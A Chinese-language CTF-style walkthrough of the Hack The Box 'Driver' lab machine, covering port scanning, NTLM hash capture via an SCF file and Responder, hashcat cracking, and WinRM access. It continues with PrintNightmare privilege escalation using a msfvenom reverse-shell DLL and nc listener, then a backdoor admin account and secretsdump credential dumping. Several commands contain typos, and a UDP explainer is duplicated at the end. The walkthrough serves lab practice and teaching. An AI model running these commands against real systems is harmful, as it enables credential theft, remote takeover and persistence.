HTB Driver靶机
连接靶机openvpn
openvpn htb-sg-tcp.ovpn
nmap信息收集
tcp端口扫描
nmap -sT --min-rate 10000 -p- ip -oA nmapscan/ports
参数说明:
-sT 指定tcp端口
--min-rate 10000 指定最低10000的 速率扫描全部端口
-p- 指定ip地址
-oA nmapscan/ports 以全格式输出到nmapscan目录 下的ports文件中
为了避免误差和遗漏
进行多次端口扫描,对比结果
同时进行udp端口扫描:
nmap -sU --top-ports 20 ip -oA nmapscan/udp
参数说明:
-sU 指定扫描udp端口
--top-ports 20 扫描常用20个端口
-oA nmapscan/udp 以全格式输出到nmapscan目录下的udp文件中
扫描结果:所有端口都是open(打开)或者filtered(被过滤)的状态,应该是都没有开放,结果已经保存,暂时先用不到
对扫描到的tcp端口进行详细的信息收集
nmap -sT -sV -sC -O -p80,135,445,5985 -oA nmapscan/detail
nmap --script=http-brute -p80 ip
135端口:RPC
445端口:SMB共享
SMB/CIFS允许用户在网络中的不同计算机间共享文件、打印机以及其他资源,由于SMB协议的安全性问题,445端口也被认为是一个“高危”端口,因为它曾多次成为网络攻击的目标。例如,臭名昭著的WannaCry勒索软件就利用了SMB的一个未修补的漏洞来传播。因此,许多组织会关闭或严格控制对外的445端口访问,以降低安全风险。
5985端口:winRM(Windows Remote Management网络远程管理)常用端口,只有有凭据才可以进行交互
nmap漏洞脚本扫描
nmap --sctipt=vuln -p80,135,455,5985 ip -oA nmapscan/vuln
参数说明:
-sV : 探测各个服务的版本
-sC : 默认脚本扫描
-O : 探测操作系统版本
-p80,135,445,5985 : 指定几个端口
攻击面分析
在上面弱密码进入的页面中发现暴露了域信息
如果ip和域名指向的是一个内容,那么是否做host解析作用不大,如果有主机头做了不同的站点路由,那么解析域名你才能访问到不同的站点
这时我们需要解析host词driver.htb
bash -c 'echo"ip dirver.htb" >> /etc/hosts'
参数说明:
因为追加重定向不能把权限延伸过去,所以用-c
整个作为一个命令来执行
再看一下是否追加好了
tail -n 1 /etc/hosts
结果: ip driver.htb
SMB协议寻找突破点
搜索nxc github,在github上下载并直接移动到/usr/bin/目录下(为了方便)
mv /home/kali/Downloads/nxc /usr/bin
nxc需要给权限
chmod +x /usr/bin/nxc
参数说明:
chmod +x :添加执行execute 权限
执行命令
nxc smb driver.htb --shares -u RedteamNotes -p ''
参数说明:
--shares : 列出共享
-u : 用户名 随便设置一个
-p : 密码 这里设置为空
结果:空密码匿名不允许访问
cmbclient -L driver.htb -N
无法访问
尝试134端口的RPC
cpcclient -U "" -N driver.htb
无法连接
enum4linux-ng (主要是smb的枚举的一个工具)
安装
apt install enum4linux-ng
执行命令
enum4linux-ng driver.htb
文件上传
我们需要清楚要做的两件事:
-
找到文件上传的目录
-
执行我们上传的木马
SMB协议共享SMF文件攻击
内网认证机制
非域环境下,一般是NTLM加密,使用简单的哈希且不含盐,当前NTLMV2使用较多,引入了客户端和服务器的挑战响应,且使用了MD5
内网协议
内网中可以解析域名到ip,但不一定一直有DNS,如果没有DNS的时候,解析就会降级为net b或者LLMN2本地链路多播协议,这两种都是广播协议,而广播就会涉及到一个很重要的攻击方式--嗅探
SMB内网认证机制
responder嗅探
攻击环境为windows时,用Inveigh
通过向请求者发送伪造的NTLM,来获得NTLM响应,这个响应就包含了加密的用户凭据的散列值,然后用responder采集这些数据并离线破解
上传scf文件,这是一种可执行文件,用于协助windows资源管理器执行系统命令。让scf文件构造一个DNS这样的低级协议,让他访问kali的ip\redteamnotes这样一个不存在的主机,就会发生降级,产生广播
SCF 文件是 "Windows 资源管理器命令"文件,它也是一种可执行文件,该类型文件由WindowsExplorer Command 解释。
当一个文件加中含有scf后缀的文件时,由于scf文件包含了 IconFile 属性,所以Explore.exe 会尝试获取文件的图标。而 IconFile 属性是支持 UNC路径的,所以我们也可以通过这里的 IconFile 属性截获受害者的 Net-NTLM Hash
在某一文件夹下写入scf文件,内容如下
[Shell]
Command=2 IconFile=\主机ip\scf\test.ico
[Taskbar]
Command=ToggleDesktop
然后用户访问此文件夹,就可以通过Responder获取Hash
触发产生认证响应的手段:
responder -I tun0 -v //开启监听
上传scf文件
保存,提取信息
tail digest
grep -o 'tony::.*' digest | tee digeest-only
nth --file digest-only
识别结果
找到加密模块
破解
hashcat -m 5600 digest digest-only /usr/share/wordlists/rockyou.txt --potfile-disable
加一个--potfile-disable,如果进行过相同的破解方式,避免回复同样的结果
也可以用john进行hash破解
我们嗅探时,也可以用impacket实现
impacket -smbserver RedteamNotes . smb2support
参数说明
-smbserver RedteamNotes . : 创立一个smb共享,指定RedteamNotes当前目录
smb2support : 指定2以上smb版本都匹配
同样也是可以用hashcat解密出来的
getshell
nxc winrm driver.htb -u tony -p liltony
evil-winrm -i driver.htb -u -p liltony
拿到了系统的最高pwn,但不是最高权限
看web文件有没有敏感信息,先定位到目录,利用网页中图片来进行定位
使用winPEAS查看系统的基本信息(github下载)
利用printnightmare漏洞进行提权
用nxc 扫描是否有printnightmare漏洞
看一下有哪些模块可以检测
nxc smb -L
nxc smb driver.htb -u tony -p liltony -M spooler
-M spooler 指定spooler模块 spooler就是一个处理打印工作的服务
可以去了解一下相关于spooler服务的漏洞
Windows Print Spooler服务最新漏洞CVE-2021-34527详细分析 - FreeBuf网络安全行业门户
检测是否能利用printnightmare
nxc smb driver.htb -u tony -p liltony -M spooler -M printnightmare
可以利用,这里还给出了利用脚本https://github.com/ly4k/PrintNightmare
直接下载下来
wget https://raw.githubsercontent.com/ly4k/PrintNightmare/main/printnightmare.py
看一下文件,给权限
file printnightmare.py
head printnightmare.py
chmod +x printnightmare.py
因为文件头已经有解释器了(python3)所以直接执行文件
./printnightmare.py
check一下是否可以利用
./printnightmare.py -check 'tony:liltony@driver.htb'
因为驱动是通过动态链接库来实现利用的,所以我们要先准备payload,就是用于反弹shell的动态链接库
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=ip LPORT=9595 -f dll -o RedteamNotes.dll
-f dll : 指定文件类型:动态链接库
上传文件,直接上传或者按tab补全,一样的
upload RedteamNotes.dll
现在kali上上一个nc监听
sudo rlwrap nc -lvnp 9595
参数说明
rlwrap : 提高交互性
-lvnp : 指定端口9595,之前我们就是指定的9595
提权成功
./printnightmare.py -dll 'c:\programdata\apps\ReadteamNotes.dll 'tony:liltony@driver.htb'
参数说明
-dll 'c:\xxx\xxx' 用在指定路径下的动态链接库
持久化
还可以加个后门,添加一个管理员用户
net user 用户名 密码 /add
net localgroup administrators 用户名 /add
sudo impacket -secretsdump '密码'@driver.htb
//转储登陆时各种哈希值
nxc winrm driver.htb -u administrator -H 哈希凭据
遇到的问题
什么是UDP协议
UDP(User Datagram Protocol)协议因其特性,在很多实际应用场景中得到了广泛的使用。以下是UDP协议在不同领域的具体应用:
- 实时音频和视频传输
- 在线游戏、实时视频会议、直播、VoIP(Voice over IP)等应用中,为了减少延迟,通常会选择UDP而不是TCP,因为TCP的重传机制可能会引入额外的延迟。
- 域名系统(DNS)
- DNS查询通常使用UDP,因为DNS请求和响应都是小数据包,且通常只需要一次往返就能完成查询。
- 简单文件传输协议(TFTP)
- TFTP使用UDP来进行文件传输,特别适用于小型系统或嵌入式设备,因为它比FTP更简单、开销更小。
- 网络管理系统(SNMP)
- SNMP(Simple Network Management Protocol)使用UDP端口161和162来监控网络设备的状态,如路由器、交换机和服务器。
- 多播和广播通信
- UDP支持多播和广播,这使得它非常适合用于局域网内的服务发现、组播视频流传输等。
- 动态主机配置协议(DHCP)
- DHCP使用UDP来分配IP地址和其他网络参数给客户端。
- 实时传感器数据传输
- 物联网(IoT)设备和工业自动化系统经常使用UDP来传输实时数据,因为UDP的低延迟特性适合此类应用。
- NetBIOS相关服务
- NetBIOS(Network Basic Input/Output System)相关的服务,如名称解析和网络浏览,使用UDP端口137和138。
- BootP和DHCP
- BootP(Bootstrap Protocol)和DHCP使用UDP端口67/68进行网络设备的初始化和配置。
- 其他应用
- 许多其他网络应用和服务,如NTP(Network Time Protocol)用于时间同步,也使用UDP。
UDP的无连接性和非可靠性特性,使其非常适合那些数据包丢失可以容忍、而延迟和带宽效率至关重要的场景。然而,对于需要数据完整性和顺序的应用,如文件下载和网页传输,TCP通常更为适用。
什么是中间人攻击MITM?
通过向请求者发送伪造的NTLM挑战,来获得NTLM响应,这个响应就包含了加密的用户凭据的散列值,然后用responder采集这些数据并离线破解
遇到的问题
什么是UDP协议
UDP(User Datagram Protocol)协议因其特性,在很多实际应用场景中得到了广泛的使用。以下是UDP协议在不同领域的具体应用:
-
实时音频和视频传输
- 在线游戏、实时视频会议、直播、VoIP(Voice over IP)等应用中,为了减少延迟,通常会选择UDP而不是TCP,因为TCP的重传机制可能会引入额外的延迟。
-
域名系统(DNS)
- DNS查询通常使用UDP,因为DNS请求和响应都是小数据包,且通常只需要一次往返就能完成查询。
-
简单文件传输协议(TFTP)
- TFTP使用UDP来进行文件传输,特别适用于小型系统或嵌入式设备,因为它比FTP更简单、开销更小。
-
网络管理系统(SNMP)
- SNMP(Simple Network Management Protocol)使用UDP端口161和162来监控网络设备的状态,如路由器、交换机和服务器。
-
多播和广播通信
- UDP支持多播和广播,这使得它非常适合用于局域网内的服务发现、组播视频流传输等。
-
动态主机配置协议(DHCP)
- DHCP使用UDP来分配IP地址和其他网络参数给客户端。
-
实时传感器数据传输
- 物联网(IoT)设备和工业自动化系统经常使用UDP来传输实时数据,因为UDP的低延迟特性适合此类应用。
-
NetBIOS相关服务
- NetBIOS(Network Basic Input/Output System)相关的服务,如名称解析和网络浏览,使用UDP端口137和138。
-
BootP和DHCP
- BootP(Bootstrap Protocol)和DHCP使用UDP端口67/68进行网络设备的初始化和配置。
-
其他应用
1. 许多其他网络应用和服务,如NTP(Network Time Protocol)用于时间同步,也使用UDP。
UDP的无连接性和非可靠性特性,使其非常适合那些数据包丢失可以容忍、而延迟和带宽效率至关重要的场景。然而,对于需要数据完整性和顺序的应用,如文件下载和网页传输,TCP通常更为适用。